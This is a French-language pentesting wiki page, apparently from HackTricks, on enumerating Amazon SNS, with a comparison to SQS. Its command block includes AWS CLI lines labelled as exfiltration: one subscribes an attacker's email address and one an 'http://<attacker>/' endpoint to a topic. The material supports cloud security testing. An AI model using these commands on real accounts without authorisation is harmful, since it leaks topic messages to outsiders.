# AWS - SNS Enum

{{#include ../../../banners/hacktricks-training.md}}

## SNS

Amazon Simple Notification Service (Amazon SNS) est décrit comme un **service de messagerie entièrement géré**. Il prend en charge à la fois les types de communication **application-à-application** (A2A) et **application-à-personne** (A2P).

Les fonctionnalités clés pour la communication A2A incluent les **mécanismes de publication/abonnement (pub/sub)**. Ces mécanismes introduisent des **sujets**, cruciaux pour permettre une messagerie **push basée sur un haut débit et de nombreux à de nombreux**. Cette fonctionnalité est très avantageuse dans les scénarios impliquant des systèmes distribués, des microservices et des architectures sans serveur pilotées par des événements. En tirant parti de ces sujets, les systèmes de publication peuvent distribuer efficacement des messages à un **large éventail de systèmes d'abonnement**, facilitant un modèle de messagerie en éventail.

### **Différence avec SQS**

**SQS** est un service **basé sur des files d'attente** qui permet une communication point à point, garantissant que les messages sont traités par un **unique consommateur**. Il offre une **livraison au moins une fois**, prend en charge les files d'attente standard et FIFO, et permet la conservation des messages pour des réessais et un traitement différé.\
D'autre part, **SNS** est un service **basé sur la publication/abonnement**, permettant une communication **un-à-plusieurs** en diffusant des messages à **plusieurs abonnés** simultanément. Il prend en charge **divers points de terminaison d'abonnement comme l'email, le SMS, les fonctions Lambda et HTTP/HTTPS**, et fournit des mécanismes de filtrage pour une livraison ciblée des messages.\
Bien que les deux services permettent le découplage entre les composants dans des systèmes distribués, SQS se concentre sur la communication en file d'attente, tandis que SNS met l'accent sur les modèles de communication pilotés par des événements et en éventail.

### **Énumération**
```bash
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
```
> [!CAUTION]
> Notez que si le **sujet est de type FIFO**, seuls les abonnés utilisant le protocole **SQS** peuvent être utilisés (HTTP ou HTTPS ne peuvent pas être utilisés).
>
> De plus, même si le `--topic-arn` contient la région, assurez-vous de spécifier la bonne région dans **`--region`** ou vous obtiendrez une erreur qui ressemble à une indication que vous n'avez pas accès, mais le problème est la région.

#### Accès non authentifié

{{#ref}}
../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
{{#endref}}

#### Escalade de privilèges

{{#ref}}
../aws-privilege-escalation/aws-sns-privesc.md
{{#endref}}

#### Post exploitation

{{#ref}}
../aws-post-exploitation/aws-sns-post-exploitation.md
{{#endref}}

#### Persistance

{{#ref}}
../aws-persistence/aws-sns-persistence.md
{{#endref}}

## Références

- [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/)

{{#include ../../../banners/hacktricks-training.md}}
